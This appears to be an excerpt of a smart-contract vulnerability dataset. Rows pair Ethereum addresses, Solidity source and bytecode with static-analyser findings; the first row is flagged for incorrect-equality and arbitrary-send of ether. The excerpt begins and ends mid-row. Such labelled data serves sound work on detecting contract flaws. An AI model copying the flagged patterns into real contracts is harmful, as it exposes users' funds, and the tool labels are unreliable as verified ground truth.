050565b600a6020528060005260406000206000915090505481565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b6000808473ffffffffffffffffffffffffffffffffffffffff1614158015610fef575060008373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ffb5750600082115b151561100657600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110d1575081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156110dc57600080fd5b611125600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c2f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b1600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c48565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061127a600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c2f565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000806000806002541415151561138557600080fd5b61139d61139442600254612c2f565b62278d00612c66565b9150611427600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c48565b9050600c82101561143b57600092506115e6565b600c821015801561144c5750601282105b156114ab576114a461145f602883612c81565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b92506115e6565b601282101580156114bc5750601882105b1561151b576115146114cf603c83612c81565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b92506115e6565b6018821015801561152c5750601e82105b1561158b5761158461153f605083612c81565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b92506115e6565b601e821015156115e5576115de81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b92506115e6565b5b5050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561168557600080fd5b80600b600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177557600080fd5b80600660006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561187057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118ac57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000806002541415151561190657600080fd5b61191e61191542600254612c2f565b62278d00612c66565b91506119a8600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c48565b905060068210156119bc5760009250611b67565b600682101580156119cd5750600982105b15611a2c57611a256119e0602883612c81565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b9250611b67565b60098210158015611a3d5750600c82105b15611a9c57611a95611a50603c83612c81565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b9250611b67565b600c8210158015611aad5750600f82105b15611b0c57611b05611ac0605083612c81565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b9250611b67565b600f82101515611b6657611b5f81600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2f565b9250611b67565b5b5050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611bcc57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611c4557600080fd5b565b600080600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611cd857506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515611ce357600080fd5b600092506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e5f57611d38336118f0565b9150611d83600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c2f565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0f600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c48565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5c8383612c48565b92505b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611fd757611eb03361136f565b9050611efb600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c2f565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f87600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c48565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd48382612c48565b92505b600083111515611fe657600080fd5b61202f600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612c48565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f957600080fd5b42600281905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561215e57600080fd5b60008111151561216d57600080fd5b8060058190555050565b60025481565b60086020528060005260406000206000915090505481565b6040805190810160405280600381526020017f564c54000000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561226657600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600b600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123795750600b60006001815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561238457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123c15750600083115b15156123cc57600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561241a57600080fd5b612463600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612c2f565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124b1836014612c81565b91506124bd8383612c2f565b9050612508600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c48565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156126cf576125fb600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c48565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612687600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c48565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285a565b600b60006001815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561285457612780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c48565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280c600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c48565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612859565b600080fd5b5b50505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff161415801561288a5750600083115b151561289557600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101515156128e657600080fd5b6128f08184612c2f565b905080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297f600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612c48565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60096020528060005260406000206000915090505481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b2d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612b6957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000828211151515612c3d57fe5b818303905092915050565b6000808284019050838110151515612c5c57fe5b8091505092915050565b6000808284811515612c7457fe5b0490508091505092915050565b6000612c97612c908385610bed565b6064612c66565b9050929150505600a165627a7a72305820b48f11e238589fcd2787c4855fdd2c2c847f1624874fa7452fe9ec03eaff2d620029 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,811 |
0x455a3b78cfe4b88268dbee2119eb06fb1d3f1f61 | // SPDX-License-Identifier: MIT
pragma solidity 0.6.10;
abstract contract ERC1820Registry {
function setInterfaceImplementer(
address _addr,
bytes32 _interfaceHash,
address _implementer
) external virtual;
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash)
external
virtual
view
returns (address);
function setManager(address _addr, address _newManager) external virtual;
function getManager(address _addr) public virtual view returns (address);
}
/// Base client to interact with the registry.
contract ERC1820Client {
ERC1820Registry constant ERC1820REGISTRY = ERC1820Registry(
0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
);
function setInterfaceImplementation(
string memory _interfaceLabel,
address _implementation
) internal {
bytes32 interfaceHash = keccak256(abi.encodePacked(_interfaceLabel));
ERC1820REGISTRY.setInterfaceImplementer(
address(this),
interfaceHash,
_implementation
);
}
function interfaceAddr(address addr, string memory _interfaceLabel)
internal
view
returns (address)
{
bytes32 interfaceHash = keccak256(abi.encodePacked(_interfaceLabel));
return ERC1820REGISTRY.getInterfaceImplementer(addr, interfaceHash);
}
function delegateManagement(address _newManager) internal {
ERC1820REGISTRY.setManager(address(this), _newManager);
}
}
contract ERC1820Implementer {
/**
* @dev ERC1820 well defined magic value indicating the contract has
* registered with the ERC1820Registry that it can implement an interface.
*/
bytes32 constant ERC1820_ACCEPT_MAGIC = keccak256(
abi.encodePacked("ERC1820_ACCEPT_MAGIC")
);
/**
* @dev Mapping of interface name keccak256 hashes for which this contract
* implements the interface.
* @dev Only settable internally.
*/
mapping(bytes32 => bool) internal _interfaceHashes;
/**
* @notice Indicates whether the contract implements the interface `_interfaceHash`
* for the address `_addr`.
* @param _interfaceHash keccak256 hash of the name of the interface.
* @return ERC1820_ACCEPT_MAGIC only if the contract implements `ìnterfaceHash`
* for the address `_addr`.
* @dev In this implementation, the `_addr` (the address for which the
* contract will implement the interface) is always `address(this)`.
*/
function canImplementInterfaceForAddress(
bytes32 _interfaceHash,
address // Comments to avoid compilation warnings for unused variables. /*addr*/
) external view returns (bytes32) {
if (_interfaceHashes[_interfaceHash]) {
return ERC1820_ACCEPT_MAGIC;
} else {
return "";
}
}
/**
* @notice Internally set the fact this contract implements the interface
* identified by `_interfaceLabel`
* @param _interfaceLabel String representation of the interface.
*/
function _setInterface(string memory _interfaceLabel) internal {
_interfaceHashes[keccak256(abi.encodePacked(_interfaceLabel))] = true;
}
}
/**
* @notice Partition strategy validator hooks for Amp
*/
interface IAmpPartitionStrategyValidator {
function tokensFromPartitionToValidate(
bytes4 _functionSig,
bytes32 _partition,
address _operator,
address _from,
address _to,
uint256 _value,
bytes calldata _data,
bytes calldata _operatorData
) external;
function tokensToPartitionToValidate(
bytes4 _functionSig,
bytes32 _partition,
address _operator,
address _from,
address _to,
uint256 _value,
bytes calldata _data,
bytes calldata _operatorData
) external;
function isOperatorForPartitionScope(
bytes32 _partition,
address _operator,
address _tokenHolder
) external view returns (bool);
}
/**
* @title PartitionUtils
* @notice Partition related helper functions.
*/
library PartitionUtils {
bytes32 public constant CHANGE_PARTITION_FLAG = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
/**
* @notice Retrieve the destination partition from the 'data' field.
* A partition change is requested ONLY when 'data' starts with the flag:
*
* 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
*
* When the flag is detected, the destination partition is extracted from the
* 32 bytes following the flag.
* @param _data Information attached to the transfer. Will contain the
* destination partition if a change is requested.
* @param _fallbackPartition Partition value to return if a partition change
* is not requested in the `_data`.
* @return toPartition Destination partition. If the `_data` does not contain
* the prefix and bytes32 partition in the first 64 bytes, the method will
* return the provided `_fromPartition`.
*/
function _getDestinationPartition(bytes memory _data, bytes32 _fallbackPartition)
internal
pure
returns (bytes32)
{
if (_data.length < 64) {
return _fallbackPartition;
}
(bytes32 flag, bytes32 toPartition) = abi.decode(_data, (bytes32, bytes32));
if (flag == CHANGE_PARTITION_FLAG) {
return toPartition;
}
return _fallbackPartition;
}
/**
* @notice Helper to get the strategy identifying prefix from the `_partition`.
* @param _partition Partition to get the prefix for.
* @return 4 byte partition strategy prefix.
*/
function _getPartitionPrefix(bytes32 _partition) internal pure returns (bytes4) {
return bytes4(_partition);
}
/**
* @notice Helper method to split the partition into the prefix, sub partition
* and partition owner components.
* @param _partition The partition to split into parts.
* @return The 4 byte partition prefix, 8 byte sub partition, and final 20
* bytes representing an address.
*/
function _splitPartition(bytes32 _partition)
internal
pure
returns (
bytes4,
bytes8,
address
)
{
bytes4 prefix = bytes4(_partition);
bytes8 subPartition = bytes8(_partition << 32);
address addressPart = address(uint160(uint256(_partition)));
return (prefix, subPartition, addressPart);
}
/**
* @notice Helper method to get a partition strategy ERC1820 interface name
* based on partition prefix.
* @param _prefix 4 byte partition prefix.
* @dev Each 4 byte prefix has a unique interface name so that an individual
* hook implementation can be set for each prefix.
*/
function _getPartitionStrategyValidatorIName(bytes4 _prefix)
internal
pure
returns (string memory)
{
return string(abi.encodePacked("AmpPartitionStrategyValidator", _prefix));
}
}
/**
* @title Base contract that satisfies the IAmpPartitionStrategyValidator
* interface
*/
contract AmpPartitionStrategyValidatorBase is
IAmpPartitionStrategyValidator,
ERC1820Client,
ERC1820Implementer
{
/**
* @notice Partition prefix the hooks are valid for.
* @dev Must to be set by the parent contract.
*/
bytes4 public partitionPrefix;
/**
* @notice Amp contract address.
*/
address public amp;
/**
* @notice Initialize the partition prefix and register the implementation
* with the ERC1820 registry for the dynamic interface name.
* @param _prefix Partition prefix the hooks are valid for.
* @param _amp The address of the Amp contract.
*/
constructor(bytes4 _prefix, address _amp) public {
partitionPrefix = _prefix;
string memory iname = PartitionUtils._getPartitionStrategyValidatorIName(
partitionPrefix
);
ERC1820Implementer._setInterface(iname);
amp = _amp;
}
/**
* @dev Placeholder to satisfy IAmpPartitionSpaceValidator interface that
* can be overridden by parent.
*/
function tokensFromPartitionToValidate(
bytes4, /* functionSig */
bytes32, /* fromPartition */
address, /* operator */
address, /* from */
address, /* to */
uint256, /* value */
bytes calldata, /* data */
bytes calldata /* operatorData */
) external virtual override {}
/**
* @dev Placeholder to satisfy IAmpPartitionSpaceValidator interface that
* can be overridden by parent.
*/
function tokensToPartitionToValidate(
bytes4, /* functionSig */
bytes32, /* fromPartition */
address, /* operator */
address, /* from */
address, /* to */
uint256, /* value */
bytes calldata, /* data */
bytes calldata /* operatorData */
) external virtual override {}
/**
* @notice Report if address is an operator for a partition based on the
* partition's strategy.
* @dev Placeholder that can be overridden by parent.
*/
function isOperatorForPartitionScope(
bytes32, /* partition */
address, /* operator */
address /* tokenHolder */
) external virtual override view returns (bool) {
return false;
}
}
interface IAmp {
function isCollateralManager(address) external view returns (bool);
}
/**
* @title CollateralPoolPartitionValidator
*/
contract CollateralPoolPartitionValidator is AmpPartitionStrategyValidatorBase {
bytes4 constant PARTITION_PREFIX = 0xCCCCCCCC;
constructor(address _amp)
public
AmpPartitionStrategyValidatorBase(PARTITION_PREFIX, _amp)
{}
/**
* @notice Reports if the token holder is an operator for the partition.
* @dev The `_operator` address param is unused. For this strategy, this will
* be being called on behalf of suppliers, as they have sent their tokens
* to the collateral manager address, and are now trying to execute a
* transfer from the pool. This implies that the pool sender hook
* MUST be implemented in such a way as to restrict any unauthorized
* transfers, as the partitions affected by this strategy will allow
* all callers to make an attempt to transfer from the collateral
* managers partition.
* @param _partition The partition to check.
* @param _tokenHolder The collateral manager holding the pool of tokens.
* @return The operator check for this strategy returns true if the partition
* owner (identified by the final 20 bytes of the partition) is the
* same as the token holder address, as in this case the token holder
* is the collateral manager address.
*/
function isOperatorForPartitionScope(
bytes32 _partition,
address, /* operator */
address _tokenHolder
) external override view returns (bool) {
require(msg.sender == address(amp), "Hook must be called by amp");
(, , address partitionOwner) = PartitionUtils._splitPartition(_partition);
if (!IAmp(amp).isCollateralManager(partitionOwner)) {
return false;
}
return _tokenHolder == partitionOwner;
}
/**
* @notice Validate the rules of the strategy when tokens are being sent to
* a partition under the purview of the strategy.
* @dev The `_toPartition` must be formatted with the PARTITION_PREFIX as the
* first 4 bytes, the `_to` value as the final 20 bytes. The 8 bytes in the
* middle can be used by the manager to create sub partitions within their
* impelemntation.
* @param _toPartition The partition the tokens are transferred to.
* @param _to The address of the collateral manager.
*/
function tokensToPartitionToValidate(
bytes4, /* functionSig */
bytes32 _toPartition,
address, /* operator */
address, /* from */
address _to,
uint256, /* value */
bytes calldata, /* _data */
bytes calldata /* operatorData */
) external override {
require(msg.sender == address(amp), "Hook must be called by amp");
(, , address toPartitionOwner) = PartitionUtils._splitPartition(_toPartition);
require(
_to == toPartitionOwner,
"Transfers to this partition must be to the partitionOwner"
);
require(
IAmp(amp).isCollateralManager(toPartitionOwner),
"Partition owner is not a registered collateral manager"
);
}
} | 0x608060405234801561001057600080fd5b50600436106100625760003560e01c80630973e6ba14610067578063249cb3fa1461008b5780633d006039146100c95780633f0413df146100ee578063b3c46f4214610136578063dc86ad7a14610235575b600080fd5b61006f610332565b604080516001600160a01b039092168252519081900360200190f35b6100b7600480360360408110156100a157600080fd5b50803590602001356001600160a01b0316610348565b60408051918252519081900360200190f35b6100d16103ae565b604080516001600160e01b03199092168252519081900360200190f35b6101226004803603606081101561010457600080fd5b508035906001600160a01b03602082013581169160400135166103b7565b604080519115158252519081900360200190f35b610233600480360361010081101561014d57600080fd5b6001600160e01b0319823516916020810135916001600160a01b036040830135811692606081013582169260808201359092169160a0820135919081019060e0810160c0820135600160201b8111156101a557600080fd5b8201836020820111156101b757600080fd5b803590602001918460018302840111600160201b831117156101d857600080fd5b919390929091602081019035600160201b8111156101f557600080fd5b82018360208201111561020757600080fd5b803590602001918460018302840111600160201b8311171561022857600080fd5b5090925090506104d5565b005b610233600480360361010081101561024c57600080fd5b6001600160e01b0319823516916020810135916001600160a01b036040830135811692606081013582169260808201359092169160a0820135919081019060e0810160c0820135600160201b8111156102a457600080fd5b8201836020820111156102b657600080fd5b803590602001918460018302840111600160201b831117156102d757600080fd5b919390929091602081019035600160201b8111156102f457600080fd5b82018360208201111561030657600080fd5b803590602001918460018302840111600160201b8311171561032757600080fd5b509092509050610663565b600154600160201b90046001600160a01b031681565b60008281526020819052604081205460ff16156103a457604051602001808073455243313832305f4143434550545f4d4147494360601b81525060140190506040516020818303038152906040528051906020012090506103a8565b5060005b92915050565b60015460e01b81565b600154600090600160201b90046001600160a01b03163314610420576040805162461bcd60e51b815260206004820152601a60248201527f486f6f6b206d7573742062652063616c6c656420627920616d70000000000000604482015290519081900360640190fd5b600061042b8561075a565b60015460408051630e0e923b60e01b81526001600160a01b0380851660048301529151939650600160201b909204169350630e0e923b9250602480820192602092909190829003018186803b15801561048357600080fd5b505afa158015610497573d6000803e3d6000fd5b505050506040513d60208110156104ad57600080fd5b50516104bd5760009150506104ce565b6001600160a01b0383811691161490505b9392505050565b600154600160201b90046001600160a01b0316331461053b576040805162461bcd60e51b815260206004820152601a60248201527f486f6f6b206d7573742062652063616c6c656420627920616d70000000000000604482015290519081900360640190fd5b60006105468a61075a565b92505050806001600160a01b0316876001600160a01b03161461059a5760405162461bcd60e51b815260040180806020018281038252603981526020018061079c6039913960400191505060405180910390fd5b60015460408051630e0e923b60e01b81526001600160a01b0384811660048301529151600160201b90930490911691630e0e923b91602480820192602092909190829003018186803b1580156105ef57600080fd5b505afa158015610603573d6000803e3d6000fd5b505050506040513d602081101561061957600080fd5b50516106565760405162461bcd60e51b81526004018080602001828103825260368152602001806107666036913960400191505060405180910390fd5b5050505050505050505050565b50505050505050505050565b604080517f416d70506172746974696f6e537472617465677956616c696461746f7200000060208201526001600160e01b031992909216603d830152805180830360210181526041909201905290565b6001600080836040516020018082805190602001908083835b602083106106f75780518252601f1990920191602091820191016106d8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b90602082901b90829056fe506172746974696f6e206f776e6572206973206e6f742061207265676973746572656420636f6c6c61746572616c206d616e616765725472616e736665727320746f207468697320706172746974696f6e206d75737420626520746f2074686520706172746974696f6e4f776e6572a2646970667358221220e81c00e17ae5d4a7870b1b5d199fabbea10a06217f3c0b890d29af812cb54e8d64736f6c634300060a0033 | {"success": true, "error": null, "results": {}} | 9,812 |
0x591e39eb454262a5ba881647ac634e0fbba68328 | /**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
